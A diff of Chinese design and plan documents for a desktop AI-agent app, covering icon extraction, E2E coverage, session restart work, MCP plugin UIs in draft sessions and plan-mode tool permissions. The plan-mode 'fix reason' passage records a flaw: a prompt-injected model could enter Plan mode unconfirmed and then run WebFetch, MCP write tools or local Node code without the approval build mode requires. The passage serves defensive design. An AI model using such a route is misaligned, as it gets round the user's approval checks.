 Windows 关联图标在原生查询中批量读取,不为每个候选启动一个进程。内部保留 `GetIconLocation` 的原始路径、带符号资源索引、HRESULT 和系统 AppID:EXE/DLL/ICO 按原始资源路径与 index 提取;`@` 间接资源先交给 `SHLoadIndirectString`,解析为实际本地图片后读取,不把 URI 直接交给 `File.Exists`。不按应用名称、安装目录或 scale 文件名硬编码。仅使用系统内置 PowerShell、Shell/GDI 和 .NET 图像能力,不新增运行依赖。
 
 Windows 的 WPS Office 统一显示系统实际登记的红色套件图标,DOCX/PPTX/XLSX 不按格式区分,名称仍使用系统返回的 WPS Office。内部继续分别保留 suite AppID、当前 handler ProgID 与图标资源 identity,不能因为共享 wps.exe 启动就把 Writer 图标当成套件图标。通过同一 AppID 在系统 AppsFolder 中精确定位套件入口并取得其真实目标图标;不硬编码 ksolaunch 安装路径、Logo 或应用显示名称。每次查询只解析/读取一次套件资源,供同一套件候选复用;无法定位或提取时使用通用占位,不能退回 Writer 或其它组件图。其它 App 沿用既有图标逻辑;public ID、真实 launch key、候选集合、默认排序和 handler 启动方式不变。
 
-资源提取必须检查 HRESULT、空句柄、文件及图像大小,并释放 HICON、Bitmap 和图像流。查询子进程受既有超时和输出上限约束,返回的 PNG 还需校验格式与尺寸。Windows 提取失败时保留候选并返回无图,由既有 UI 通用图标占位;不再回退到可能与应用资源不符的普通 EXE 文件图标。公共 `FileApplicationInfo` 仍只传 `iconDataUrl`,原生资源路径不开放给 renderer 执行。应用身份、默认标记、候选去重与打开/保存语义不变;macOS/Linux 沿用各自现有图标链路。
+资源提取必须检查 HRESULT、空句柄、文件及图像大小,并释放 HICON、Bitmap 和图像流。查询子进程受既有超时和输出上限约束,返回的 PNG 还需校验格式与尺寸。Windows 提取失败时保留候选并返回无图,由既有 UI 通用图标占位;不再回退到可能与应用资源不符的普通 EXE 文件图标。公共 `FileApplicationInfo` 仍只传 `iconDataUrl`,原生资源路径不开放给 renderer 执行。应用身份、默认标记、候选去重与打开/保存语义不变;macOS/Linux 沿用各自现有图标链路。macOS 优先解析 bundle 的 `.icns`;图书等系统应用的 `AppIcon.icns` 只是全透明占位、真图标只在 `Assets.car`,解码结果全透明时视为无 `.icns`,改用 NSWorkspace `iconForFile`(能读 Assets.car)绘制 32px PNG,不能把透明 PNG 当成功返回;Electron `app.getFileIcon` 对这类 bundle 只返回系统通用占位图,仅作最后回退。NSWorkspace 回退需要启动 osascript 子进程,因此 macOS 应用图标按 bundle 路径在主进程内缓存解析 Promise:并发查询共享同一次解析,成功结果在应用生命周期内复用,拿不到图标或失败时移除缓存、下次查询重试;应用候选列表本身仍每次重新查询。
 
 ```mermaid
 sequenceDiagram
@@ -78,4 +81,4 @@ sequenceDiagram
 
 去重回归覆盖同 bundle 多份安装、默认实例优先、标准位置优先、无默认时枚举反序仍选择同一实例、默认图标保留、Chrome/Canary 不合并、不同身份同名可区分,以及打开时重新枚举仍调用保留实例。
 
-UI 组件回归覆盖系统关联应用、目录原语义、异步结果不覆盖新目标、保存原字节与文件名、零字节、取消/失败及 Work 所选版本。conversation-session 的 APC E2E 使用 `getFileApplications` 协议及正确的 Office 样本路径,按应用身份、可见名称、默认标记和“更多打开方式”分组断言,维护对应 case catalog 与 coverage matrix;受控候选用于验证分组及 IPC 派发,不冒充原生应用启动。另存为、零字节和 Work 所选版本尚未全部纳入 APC 自动化,依据对应组件回归及已完成的手工验收分别记录;完整手机链路或原生平台未实测的范围明确标为未验证。
+UI 组件回归覆盖系统关联应用、目录原语义、异步结果不覆盖新目标、保存原字节与文件名、零字节、取消/失败及 Work 所选版本。conversation-session 的 APC E2E 使用 `getFileApplications` 协议及正确的 Office 样本路径,按应用身份、可见名称、默认标记和“更多打开方式”分组断言,维护对应 case catalog 与 coverage matrix;受控候选用于验证分组及 IPC 派发,不冒充原生应用启动。APC14 同时断言本机工作区 Open 下拉的文件管理器定位项:按平台文案只出现一次,位于应用分组之后、另存为之前;点击后 macOS / Windows 只发出一次 `OpenInEditor`(finder / explorer,文件路径,`pathKind: "file"`),Linux 只发出一次 `OpenInFileManager`(文件所在目录),且不触发应用打开;卡片右键菜单显示同一定位项,并只派发一次定位请求(见 APC15)。APC15 另覆盖 macOS 会话正文链接:右键本机 DOCX 链接时定位项只出现一次、位于应用分组之后与另存为之前,点击只发出一次 `OpenInEditor("finder", <path>, {pathKind: "file"})`;右键目录链接只发出一次 `OpenInFileManager(<目录>)`。远端(SSH/Docker 隐藏、WSL 显示)与 Web 隐藏不在 APC14 自动化范围内,依据源码判定。另存为、零字节和 Work 所选版本尚未全部纳入 APC 自动化,依据对应组件回归及已完成的手工验收分别记录;完整手机链路或原生平台未实测的范围明确标为未验证。

+ 42 - 7
docs/plan-mode-approval-boundary.md

@@ -12,17 +12,52 @@ Plan mode 的 `ExitPlanMode` 是计划审阅边界:模型提交计划后,必
 - 用户拒绝 `ExitPlanMode` 且没有填写修改意见时,当前 turn 必须结束,session 保持 `plan` 模式,等待用户继续输入修改意见。
 - 用户在 `ExitPlanMode` 审批里填写修改意见时,runtime 保持 `plan` 模式,并把反馈持久化为一条真实、普通的 `user` message;`ExitPlanMode` 的工具结果只返回一条桥接说明,告诉模型用户反馈会跟随在下一条用户消息中。这样 UI / resume / provider-visible history 都把这段反馈当成用户新 query,而不是吞进工具结果,也不是展示成 turn steer 引导消息。
 
-## MCP 工具例外
+## 工具权限:Plan 闸门加原模式
 
-Plan mode 默认只允许只读、非 destructive 的工具执行。MCP 工具是外部 server 动态暴露的能力,部分工具不会声明 `readOnlyHint`,但仍需要在计划阶段用于读取外部上下文、设备状态或远端资料。
+Plan 只在进入前的模式(下称原模式)之上收紧,不新增放行。判定顺序:
 
-因此 Plan mode 对 MCP 工具使用独立权限边界:
+```text
+Plan 切换工具(EnterPlanMode / ExitPlanMode)   (各自的既有规则)
+  → 需要用户交互的工具(AskUserQuestion 等)    → 询问
+  → guarded 危险命令单次确认(未开 Plan 时)
+  → alwaysAsk 工具                              → 询问;会话内授权、本会话发起的 workflow 修订放行
+  → disallowedTools / 项目 deny / 项目 ask       (顺序不变,优先于 Plan)
+  → ReplyToChannel 预批                         (只匹配原会话回复)
+  → Plan 闸门
+      只读、非 destructive、免审批              → 放行(原模式同样放行)
+      声明 allowedInPlanMode 的会话控制工具     → 放行(不变)
+      只读但需审批(WebFetch、readOnlyHint MCP)→ 不拦,交给原模式
+      非只读、非 destructive 的 MCP
+          原模式 yolo / guarded                 → 不拦,交给原模式
+          其他原模式                            → 询问,单次确认
+      其他非只读工具、destructive MCP           → 拒绝 mode.plan.nonReadOnly
+  → guarded 的危险命令单次确认                  (闸门没拒绝且命中危险命令规则时,与单独 guarded 一致)
+  → 原模式判定(yolo/guarded 放行;build/edit 走 allow 规则、预批 URL、模式默认策略)
+```
 
+- 开启 Plan 时,guarded 的危险命令单次确认排在 Plan 闸门之后:审批不能解除 Plan 的拒绝,闸门放过的
+  工具命中危险命令规则时仍要单次确认。当前危险命令规则只匹配 Bash 写命令,它们会先被闸门拒绝。
+- 排在 Plan 闸门之前的分支不受 Plan 约束:alwaysAsk 工具的会话内授权,以及项目 ask 规则的询问
+  (同意或 PreToolUse Hook 放行后即执行)。因此 guarded + Plan 下,命中项目 ask 规则的危险命令
+  走普通询问而不是单次确认。这两处是既有顺序,未在本次调整。
+- 旧会话的 `mode=plan` 没有记录原模式,原模式按 build 判定。
 - MCP 身份由工具权限声明 `permission.permission === "mcp"` 识别,不靠 `mcp__` 名称前缀推断。
-- 项目级 `deny` / `ask` 规则仍优先生效,不能被 MCP 例外绕过。
-- 显式声明 `destructiveHint: true` 的 MCP 工具仍在 Plan mode 下拒绝执行。
-- 未显式 destructive 的 MCP 工具允许在 Plan mode 下执行,即使该工具没有声明 `readOnlyHint: true`。
-- 该例外只跳过 Plan mode 的 readonly 判定,不改变 MCP 工具注册、模型可见 schema、输出预算、timeout、取消、日志或 UI 权限展示协议。
+- `readOnlyHint` 由 MCP server 自报,只用于让工具通过 Plan 闸门,不能直接放行;
+  build/edit 下仍按 MCP 默认策略询问,除非命中 allow 规则。
+- 非只读 MCP 在 Plan 下的询问排在 allow 规则之前:项目 allow 规则与 `allowedTools`
+  不能跳过它。询问只提供单次允许与拒绝,不提供"始终允许"和"完全访问":
+  在 Plan 下记住的规则不会生效,提供这些选项会让用户以为已经授权。
+  PreToolUse 与 PermissionRequest Hook 仍可按既有规则应答这次询问。
+- 显式 `destructiveHint: true` 的 MCP 与其他非只读工具在 Plan 下拒绝,原模式为 yolo 也一样。
+- 不改变 MCP 工具注册、模型可见 schema、输出预算、timeout、取消、日志或 UI 权限展示协议。
+
+### 修复原因(2026-10-31)
+
+原实现在 Plan 下用一套独立判定替换原模式:只读工具与非 destructive MCP 直接放行,不看
+`needsApproval`。因此 Plan 反而比 build 宽:任意 URL 的 WebFetch、未声明 annotations 的
+MCP 写工具、宿主 `node_repl` 的 `js`(可执行本机 Node 代码)在 build 下需要审批,在 Plan
+下直接执行。`EnterPlanMode` 无需确认,模型被提示注入后可以先进入 Plan 再调用这些工具。
+现在 Plan 闸门只负责拦截,放行只来自原模式;非只读工具与 destructive MCP 仍直接拒绝。
 
 ## 交互实现
 

+ 39 - 1
docs/plans/session-task-restart-implementation.md

@@ -151,7 +151,6 @@ Workflow 通知格式转换移到既有 workflow-artifact 模块,tracker 保
 不是远端归档链接;可复现入口为对应 pending E2E、fixture 和上述 CLI 测试。
 未验证 Windows/macOS 实机、实体手机、跨机断线、分屏、Workflow GUI;pending 不自动转正或加入 CI。
 
-
 ## 浏览器释放与展示修正(2026-10-29)
 
 目标基线为 release/v3.17.0 的 99ef6b1ec8;先更新 spec 和回归,再修改实现。
@@ -174,3 +173,42 @@ Workflow 通知格式转换移到既有 workflow-artifact 模块,tracker 保
 - [x] 建立结果未知保留 ID 与清理责任,只清除失败 flight;并发重试共享,关闭阻止再次建立。
 - [x] 新回归先失败后通过;Main/broker/resident/workflow 80 项通过。App/CLI/E2E 类型、lint、架构、fixture 均通过;工程 affected 0/218,无选中项,不跑全量。
 - [x] 桌面/手机综合 E2E 通过;新增桌面下一轮实际 provider ambient 断言。运行证据见覆盖矩阵 SLR10 review 补充。
+
+## 启动归属和关闭完成实施(2026-10-30)
+
+基于 hotfix/v3.17.2;已包含子代理 workspace 继承和父链恢复修复,本次只复用并回归。
+
+1. 先补失败测试:工作区透传、冲突 flight/破坏前校验、词法等价旧 root、非法父链,慢关闭真实完成、goal 暂停失败仍收尾。
+2. 修改既有 schema/SDK/Host/controller/Gateway 激活接线;能力协商保护旧 CLI;只读兼容,不改数据库。
+3. 删除单 session 总关闭 deadline,分开必要收尾依赖;日志保留关闭阶段及原因。
+4. CLI 定向测试与真实 SQLite 升降级读写;桌面 continuous / 手机 replayable 的 reload、菜单、历史恢复回归。
+5. 类型、lint、架构、受影响工程检查、E2E;完成后更新证据、提交并向目标分支交付。
+
+线上三类告警具体现场仍不完整;本次修复已复现的代码缺陷,不宣称所有 release failed 都来自六秒预算。
+
+完成结果:
+
+- [x] 失败回归先复现,再修复;同步重入关闭额外以测试证实只执行一次。
+- [x] CLI 定向 9 文件 329 项通过;工程 affected 48 文件 334 passed / 2 skipped。
+- [x] App、CLI(34 tasks)及 E2E 类型检查通过;App/CLI lint 无 error;架构 0 violations;fixture 与开源检查通过。
+- [x] 最终构建真实 Electron + 触屏 Chromium E2E 3/3 通过,详情见覆盖矩阵本轮 HF01 / SLR 记录。
+- [x] 真实 SQLite 与 Agent 续写往返验证旧 root、旧 child;打开/续写不回填目录,模拟旧 writer 再写后可再次恢复。
+
+存储实现与 v3.17.1 相同;兼容验证复用相同 store,不等于旧版 GUI 二进制完整升级/降级实跑。
+本次无 schema、migration 或持久字段语义变化。原生 Windows/macOS、实体手机与 SSH 未在本轮实跑。
+初次 HF02 因过时 hook 重跑断言失败,运行日志证明实例 ready 后只有投影读取失败;已按现有契约修正测试。
+单 session 不再因六秒等待预算永久 faulted,但资源自身 RPC 失败仍保留隔离与显式进程恢复出口。
+
+
+## 启动入口 review 修复(2026-11-02,完成)
+
+- 先补 CLI 回归,再登记 create/fork/V4 workspace;create 与 restore 的持久存在性规则明确分开。
+- 旧无上下文 flight 的加入者完成后校验归属;旧 WSL 预检与原原子修复共享精确识别,不增加迁移。
+- 关闭阶段 30 秒仅告警未完成资源;能力查询作为 observation,单请求超时不淘汰共享连接。
+- CLI 定向 11 文件 378 项通过;根/CLI 类型检查、lint、架构和开源检查通过。工程 affected 对本次范围选中 0 项,未扩大跑全量。
+- 实际 SDK 超时探针确认连接淘汰事件为 0,后续状态查询成功。原始探针留开发环境,未作为 App 业务单测恢复入库。
+- E2E `desktop-e2e-20261102054133648-p182647-caa0869ba42a5410`:2 spec / 3 test 全通过(Linux Electron、触屏 Web),场景与限制见覆盖矩阵。
+
+当前 V4 transport / connection scope 将路径与身份传给服务,remoteSessionId 只用于选连接;
+UI 重启使用同一口径,本轮未放宽归属校验。未实跑 SSH 和原生 WSL/Windows/macOS。
+慢关闭日志不提供新恢复按钮;永久挂起仍需显式重建进程或重开应用,faulted 原恢复按钮不变。

+ 11 - 1
docs/plugin-management-lifecycle-case-catalog.md

@@ -145,7 +145,7 @@ PLM-LC-018(管理列表本地化)、PLM-LC-019(双入口创建插件草稿
 
 ### PLM-UI-001 UI 市场与项目配置
 
-- 隔离 HOME,真实目录/安装/配置服务与提供 `ui://` 资源的 MCP fixture。先安装,再启动带插件能力的正式会话。
+- 隔离 HOME,真实目录/安装/配置服务与提供 `ui://` 资源的 MCP fixture。先安装,在模型配置就绪的草稿中打开 UI,再验证首发提升后的正式会话。
 - 验证公共/社区/个人互斥、UI 专区、详情图片放大和关闭、市场内管理/返回保留查询与范围。UI 专区默认全部展示,支持原位 8→6→8 张卡片切换;其他分类始终可见,搜索清空和分段往返保留各分段的手动选择。主区域与 Side Pane 复用相同交互。
 - 项目 A 暂停不影响项目 B 与全局;恢复继承后使用全局状态。已安装 UI 打开;暂停后先启用,失败不打开;多个 surface 要选择;关闭面板不卸载。
 - 已安装 UI 卡片的独立“详情”入口可查看信息与配置,不启用或打开插件;主市场的主导航返回已有聊天。全局设置与市场同步、远程同步通知、后台错误保留及慢视图不阻塞提交由真实 store/hook 回归补充;移除源包验证安装失败,再恢复并重试。
@@ -202,3 +202,13 @@ PLM-LC-018(管理列表本地化)、PLM-LC-019(双入口创建插件草稿
 WPL-015 在市场安装前断言无开关,安装后通过卡片开关停用再启用,并读取 Agent 投影;随后验证 User/Workspace 配置、暂停与恢复继承。PD/PP、PF、PLM-UI-001 使用新的管理返回入口;PLG12 的详情启停使用菜单。启停中保留可见的加载提示和无障碍标签。
 
 `PLM-UI-RETENTION`:见 [后台执行 spec](plugin-ui-background-execution.md)。资源声明才后台保留;默认五分钟回收并重建 widgetState;每窗口超过四个后台声明页时按三十分钟未活跃且不忙淘汰。轮询不续期、可见/忙碌保护、删除/重建竞态;入口 `--managed-only`,候选回归不晋升 CI。
+
+### 草稿 MCP UI 回归
+
+`PLM-UI-001` 增补:模型配置就绪但未发送消息时,从主导航打开 UI 并进入根草稿;离开市场再返回保留 guest 内存;首发提升复用同一 guest。右侧市场和启动页使用所属 pane 的有效 session;异步切换和换代由定向单测覆盖。当前使用上游已转正的 `plugins/plugin-management-ui-market.test.ts`;原 App 单测已退役,不能将历史覆盖视为现行证据。
+
+P2 回归补充:PLM-UI-001 暂停真实 createSession RPC,从主导航发起打开后切到正式会话或另一工作区,再回同项目草稿;断言待处理请求已撤销且新草稿不打开旧插件。单个连接失效保留多插件上下文、删除等待多 server 退订由定向单测覆盖。
+
+合并回归补充:草稿插件打开后进入、退出侧栏完整视图,确认 guest 内存标记和未发送输入保留、聊天行数仍为零。
+
+完全访问回归:冷草稿调用工具,在审批卡选择完全访问并勾选风险确认后提交;确认前权限不变且确认按钮禁用,提交后断言工具返回、Composer 权限同步、零聊天行和零正式任务。再次调用无需审批;切换工作区返回及首发后权限保持、同一 session/guest 被复用。失败重试、持久化交错、旧绑定失效由定向测试覆盖。已有审批积压作为真实 PDF 复测观察项,不新增批量放行规则。

+ 202 - 0
docs/plugins/draft-mcp-ui-session-spec.md

@@ -0,0 +1,202 @@
+# 草稿会话中的 MCP UI App
+
+状态:实现已提交,自动化验证通过;实现评审的 3 项 P2 已修复,专项回归及独立复审通过。方案在 2026-10-15 完成静态评审;实施基于 staging `a45957d5e10f5bc1fe008672ae3350e92cf331a6`,验证日期为 2026-10-17。
+
+2026-10-19 集成验证:合并 staging `e43277b8de`,保留侧栏完整视图与首发结果恢复链路。类型、lint、架构检查及 14 文件 328 项定向测试通过;Electron 44.7.0 的 `PLM-UI-001` 完整回归通过。受影响测试因合并包含配置变更选中全套,按仓库规则跳过全量,未将跳过记为测试通过。
+
+修复背景:真实 PDF 插件在草稿中点击审批卡「完全访问」失败。草稿尚无持久化 session 主记录,但授权路径直接提交 execution/receipt,触发 `session_entry.session_id` 外键错误;运行日志与真实 adapter 的隔离复现一致。相关授权代码在本次合并前后未变。现有 E2E 仅覆盖允许一次/拒绝,adapter 单测简化表未声明外键;本次补齐授权路径和对应回归;既有自动化通过不作为完全访问的历史验证。
+
+## 草稿完全访问修复(2026-10-19)
+
+审批卡「完全访问」复用 CLI runtime 的权限 owner。未持久化草稿只应用内存权限并发布原授权事件;正式会话继续原 execution/receipt 事务。首发按当前配置持久化同一个 session,不提前登记任务,不新增 receipt 补写队列或放宽外键。
+
+授权完成异步准备后,先等待已经开始的 session 持久化,再判断落盘路径;没有在途持久化时,检查与草稿内存应用之间不插入异步等待。同一 interaction 的失败重试复用原事件,不能重抓队列或覆盖后来的权限选择。
+
+草稿 Composer 只观察所属有效插件 session 的新授权,更新权限字段,保留正文、Plan 与模型。切换来源建立新的观察起点;首发提升不重放旧授权。用户后续显式选择继续优先。权限下拉框仍配置下一次 Submission,不改为即时修改插件 runtime。
+
+```mermaid
+flowchart LR
+    A[审批卡完全访问] --> B[异步准备及已有持久化等待]
+    B --> C{已持久化}
+    C -->|否| D[草稿内存授权]
+    C -->|是| E[原授权事务]
+    D --> F[发布同一授权事件]
+    E --> F
+    F --> G[所属草稿 Composer 同步]
+    G --> H[首发保存当前权限]
+```
+
+真实 SQLite 外键、草稿授权/首发、持久化交错、事件发布失败重试和 UI 身份隔离均有回归。PLM-UI-001 覆盖完全访问、后续调用及首发权限并录屏。真实 PDF 复测确认授权前已有的审批保留原生命周期,后续调用使用新权限;工具用量写入告警不在本补丁范围。
+
+2026-10-28 集成约束:同步 staging `4e42f061f2`,沿用统一 session 生命周期 owner、资源声明后台保留和已转正的 `plugins/plugin-management-ui-market.test.ts`。App 业务单测按仓库决定退役,历史数量不代表当前覆盖;现行验收使用 Electron E2E、浏览器场景和保留的 CLI 测试。
+
+本轮验证:根与 CLI 类型/lint、架构和 E2E fixture 检查通过;CLI 138 项、共享审批浏览器 8 项、测试证据退役检查 6 项通过。Electron 44.7.0 run `desktop-e2e-20261028080939958-p772-17d40b5d35bfdf55` 完整通过(1/1),留存录屏与关键帧。首次运行在旧的平铺项目选择步骤失败,按运行截图改为进入本机项目子菜单后通过;权限/SQLite 夹具关闭无关 MCP 自动连接后,收尾无未处理错误。工程 affected 选中全套时按规则跳过,不计为测试通过。
+
+2026-10-19 后续集成:同步 staging `52cd1bc1d3` 的 MCP display mode 握手约束与完全访问风险确认。页面创建同时保留握手前隐藏和草稿 retain;完全访问须先勾选风险确认,再走原草稿授权链。验证通过:根定向单测 106 项、CLI 定向单测 77 项、共享审批浏览器回归 8 项(390/1200px、深浅主题),根与 CLI 类型/lint、架构及 fixture 检查通过。PLM-UI-001 重建后一次通过并录屏,run `desktop-e2e-20261019141816996-p97481-20715c08f4641950`。affected 因上游配置变更选中全套,按规则跳过,未计为通过。保留其他用例的转正路径。
+
+## v3.17.2 移植(2026-10-30)
+
+以 `hotfix/v3.17.2` 的 `c3bb5e783a` 为基线,移植已合入 staging 的独立提交 `c87528891a`。只迁入本规格定义的草稿入口、保活、首发提升与完全访问修复;保留 hotfix 的首发结算幂等、导航代际保护和已有浏览器安全修复,不合入 staging 的其他功能。数据库、协议和插件生命周期约束不变。当前分支的验证结果单独记录,不复用历史运行作为通过证据。
+
+本轮 macOS arm64 / Electron 44.7.0 的 `PLM-UI-001` 首次运行通过(1/1、0 skipped),run `desktop-e2e-20261030044614273-p5180-8d87823b0b07505c`;录屏和关键帧保存在 `packages/desktop/.e2e-artifacts/desktop-e2e-20261030044614273-p5180-8d87823b0b07505c`。覆盖首轮前打开、完全访问、零正式任务、完整视图与工作区切换、同 session/guest 首发以及两类过期打开取消。CLI 138 项和共享审批浏览器 8 项通过;根与 CLI 类型/lint、架构、E2E 类型及 fixture 检查通过。工程 affected 未选中测试,未作为运行通过项。Windows/Linux 实机、真实手机、真实模型 sampling、长时后台回收及历史组合失效验收缺口未补测。
+
+## 目标与产品约束
+
+用户在桌面本地工作区中,不发送第一条聊天消息,也能打开插件 MCP UI App,读取资源并调用工具。继续要求模型 Provider 已配置且就绪。普通插件操作不创建聊天回合,也不把草稿提前登记为正式任务。
+
+| 入口或操作               | 目标行为                                                                                              |
+| ------------------------ | ----------------------------------------------------------------------------------------------------- |
+| 草稿侧栏启动页、加号菜单 | 在所属 pane 的草稿 session 中打开插件                                                                 |
+| 会话右侧插件市场         | 使用所属 pane 的有效 session;允许草稿                                                                |
+| 主导航插件市场           | 提供「打开 UI」,先选择 surface,再进入目标工作区的 root 草稿并打开;即使当前选中正式会话,也进入草稿 |
+| 再次从主导航打开         | 复用已有 root 草稿、项目选择和未发送内容;不因重复点击创建另一份草稿                                  |
+| 切换对话或工作区后返回   | 现有保留期限内复用原 session/guest;已回收页面按既有 widgetState 机制重建                             |
+| 用户明确发送首条消息     | 沿用既有首发流程,把同一个 session 提升为正式会话                                                     |
+| 插件明确请求发送消息     | 沿用现有手势、编辑确认和发送规则;可以构成首发                                                        |
+
+桌面沿用单主 pane 与侧栏完整视图,右侧入口跟随所属 pane。打开请求发起时固定 workspace、pane 和草稿代际,异步完成后不能漂移到新焦点。主导航入口固定指向工作区 root 草稿。完整视图只改变布局,同一个 SessionPane、插件 guest 和未发送输入保持不变。
+
+安装、启用、配置和权限保持现有语义。推荐区安装或启用成功只刷新状态,仍由用户点击「打开」。Web、手机和远程工作区继续使用现有不支持提示;本次不增加跨应用重启恢复。
+
+## 状态与所有权
+
+```mermaid
+flowchart TD
+    A[侧栏或右侧市场] --> B[捕获所属 pane 与工作区]
+    C[主导航市场] --> D[选择 surface 并进入 root 草稿]
+    B --> E[既有草稿预热协调器]
+    D --> E
+    E --> F[真实 CLI session 就绪]
+    F --> G[等待目标 MCP 的现有连接任务]
+    G --> H[页面管理器创建并保留插件 guest]
+    H --> I[切换对话或工作区]
+    I -->|返回| H
+    H --> J[明确发送首条消息并获接纳]
+    J --> K[同一 session 提升为正式会话]
+    K --> L[解除原草稿槽位绑定]
+    L --> M[下一份草稿使用新 session]
+```
+
+| 状态                             | 唯一所有者                          | 约束                                          |
+| -------------------------------- | ----------------------------------- | --------------------------------------------- |
+| session、MCP、工具权限及消息接纳 | CLI runtime 与现有 CommandInbox     | 打开 App 不发送占位消息,不建立第二套消息队列 |
+| 草稿创建、代际、提升与释放       | 既有 DraftSessionPrewarmCoordinator | 页面保活只增加引用,不自行创建 session        |
+| guest、实例、资源订阅和页面容量  | 既有窗口页面管理器                  | React 展示锚点卸载不销毁页面                  |
+| 插件标签归属与展示               | pane 的有效插件 session 投影        | 不改变正式任务的 activeTaskId 语义            |
+
+草稿中 `activeTaskId` 保持 `null`。有效插件 session 按「正式 session → 首发结果恢复中的 session → 当前草稿预热 binding」解析,沿用既有首发恢复流程;恢复期间不新建预热 session。投影不能形成另一份 session 生命周期状态。
+
+页面遵守现有 [MCP 页面保留与后台执行](../plugin-ui-background-execution.md) 和 [插件 UI 合同](../../packages/ui/src/plugin-ui/CONTRACT.md):资源声明 `backgroundRetention: true` 才申请后台保留;未声明页按隐藏五分钟和容量规则回收。每窗口超过四个声明页时,三十分钟未活跃且不忙的页面可回收。草稿 retain 只保留 session,不豁免 guest 的现有回收规则;页面被回收后按既有 widgetState 机制重建,不能承诺任意未保存内存无限保留。显式重载、任务删除、窗口关闭及来源/runtime 失效沿用现有释放路径,任务与页面准入仍为 30/64。
+
+## 实施变更
+
+### 1. 统一打开请求与插件归属
+
+- 复用 workspace 的请求投递模式,在应用层承载一次打开请求。主导航市场卸载后,由目标 pane 接管请求;不让即将卸载的市场 hook 持有后续创建流程。
+- 多 surface 在跳转前选择。进入 root 草稿时保留原 `draftProjectId` 和输入,避免调用新建流程意外递增失效版本。
+- 给侧栏可见性 scope 增加独立的 `pluginUiSessionId`,仅供插件标签、启动入口和右侧市场使用。普通浏览器、终端等标签继续使用原 `ownerTaskId`。
+- 请求只消费一次。打开期间保持原目标身份;来源被撤销、binding 换代或目标被丢弃后,迟到结果不得打开到新目标。导航到正式会话、首发提升和重新进入草稿时,在 workspace store 的同一次状态更新中取消旧请求。切换工作区或进入其他窗口标签时,由应用层在 tab 激活切换时同步撤销离开工作区的待处理请求;已打开页面继续保活。
+- 空草稿维持原侧栏默认状态;显式打开插件时展示匹配标签,返回时能恢复保留的插件页面。页面仍保活时,隐藏锚点必须按现有规则同步解绑,不能遮挡其他会话。
+
+### 2. 草稿保活与首发提升
+
+- 复用现有 `acquire`、`waitForSession`、订阅 generation 和 `invalidationVersion` 校验,只增加页面持有的保活引用。保活引用不伪造展示订阅,也不参与订阅版本计算。
+- 页面持有引用时,pane 卸载仅解除展示订阅,不删除草稿 session。真正销毁页面或 binding 失效时释放引用;显式重载期间连续持有引用,避免间隙误删。
+- 首发获接纳后,提升操作必须原子标记 session 已正式化,并解除 coordinator 当前草稿 binding 和 root 槽位映射。不能等展示订阅卸载或页面引用归零后才解除。
+- 提升保留原 session ID、guest、实例和插件上下文。下一次取得草稿必须创建新 session,不能再次返回已提升的 session。
+- 没有展示订阅且没有页面引用时,沿用原预热回收规则。仅无消费者的预热配置变更可以延迟到返回时 reconcile;来源/runtime 真实失效仍立即按既有事件处理。
+
+### 3. 草稿交互接线
+
+- 审批/问答弹窗、PluginUiSessionProvider、附件上传和 Composer 插件上下文改用有效插件 session。插件可用状态单独检查该 session 的 lease、snapshot 身份和 runtime 就绪状态;不改变聊天时间线在草稿态隐藏历史消息的规则。
+- 插件上下文按有效 session 隔离,返回草稿时保留,进入首次发送;新草稿不能继承旧上下文或附件。单个页面或 MCP 连接失效不清空待发送上下文;发送、任务删除或草稿 binding 失效才清理对应 session。
+- 继续动态查询现有动作 scope。pane 不活跃时,依赖 Composer 的动作使用原不可用反馈,不能把后台插件消息发送到当前其他会话。
+- 普通资源读取和工具调用不产生聊天回合。`ui/message`、sampling 和 follow-up 沿用已有能力、权限、手势与确认规则,不扩大插件权限。
+
+### 4. 复用已有 MCP 等待与页面机制
+
+最新基线已具备 `waitForAppConnection`、pool 转发和 `uiOpenInstance` 等待后的 session/连接代际校验。本次直接复用这些能力,保留相关回归测试,不再新增同类 MCP port 或 manager。
+
+等待只针对目标 server 已有的连接任务,不触发重连,不等待其他 server。已有实例的同步校验仍立即拒绝失效身份。`mcpUiOpenInstance` 已在并发请求通道中,不需要修改传输队列。资源与 surface 校验沿用现有 bridge 和协议边界。
+
+重复打开合并、页面准入、prepare 单飞、销毁后迟到 token 关闭和同 page 重载均复用现有实现。不得用新增 sleep、轮询或自动重试次数来掩盖身份同步问题。
+
+### 5. 补齐删除与失效清理
+
+V4 `deleteSession` 统一调用 `closeSessionRuntime`。生命周期 owner 先发布删除并摘除运行实例,阻止新命令进入半关闭 runtime;再取消 MCP UI 调用、清理实例与 App tool,等待 session 前缀退订后关闭 App。释放错误由同一 owner 汇总隔离,不在 bridge 重建第二条清理路径。
+
+不能仅依赖最后一份 MCP 连接 lease 关闭时的间接失效:同一连接仍被其他 session 持有时,被删除草稿的 token、调用和资源订阅也必须撤销。迟到返回不能恢复旧实例,也不能自动重放结果未知的工具调用。
+
+## 验收与交付顺序
+
+| 场景                                       | 必须证明                                                           |
+| ------------------------------------------ | ------------------------------------------------------------------ |
+| 冷草稿从侧栏、右侧市场、主导航市场打开     | 真实插件成功读取资源和调用工具;零聊天回合、零正式任务             |
+| 草稿工具需要审批                           | 通过和拒绝均正确回传;审批绑定原草稿                               |
+| 编辑后切换对话/工作区、关闭可见标签再返回  | session ID、guest 身份和未保存内容不变                             |
+| 主导航市场卸载、重复点击和多 surface       | 请求由目标 pane 消费一次,原输入与项目选择保留                     |
+| 多 pane、打开中改变焦点或工作区            | 结果只作用原目标;不串页、不抢焦点                                 |
+| 带上下文和附件首发                         | 同一 session 获接纳一次,页面不重载;随后新草稿取得新 session      |
+| 慢 MCP、无关 MCP 卡住、连接失败            | 只等待目标连接;成功无需手工刷新;失败保留原错误与重载入口         |
+| 草稿删除、runtime/来源换代、重载和迟到响应 | 旧实例与调用失效;共享连接中其他 session 保持可用                  |
+| 容量不足                                   | 沿用页面回收与准入预算,不由草稿侧强行淘汰活跃或忙碌页面           |
+| 兼容性                                     | 中英文、深浅主题与桌面平台行为一致;Web/手机/remote 不创建本地沙箱 |
+
+先同步规格和失败测试,再实施代码。保留草稿预热、市场卸载/切换及推荐入口的现有测试,新增 coordinator 保活/提升、共享连接删除清理的单测及覆盖入口和真实 guest 的桌面 E2E。运行根目录必要检查、受影响单测及 CLI 对应检查;E2E 按仓库 case/spec 工作流维护。通过必要验证后本地提交,不自动推送或创建 MR。
+
+实施时更新 [市场交互规格](./plugin-market-interactions-scope.md) 中「主导航不提供打开 UI」「草稿无入口」的旧规则,并同步插件 UI/CLI 合同与 E2E。本文是该扩展的统一规格,实施结束后更新本文状态与验证证据,不另建重复总结。
+
+## 评审与验证边界
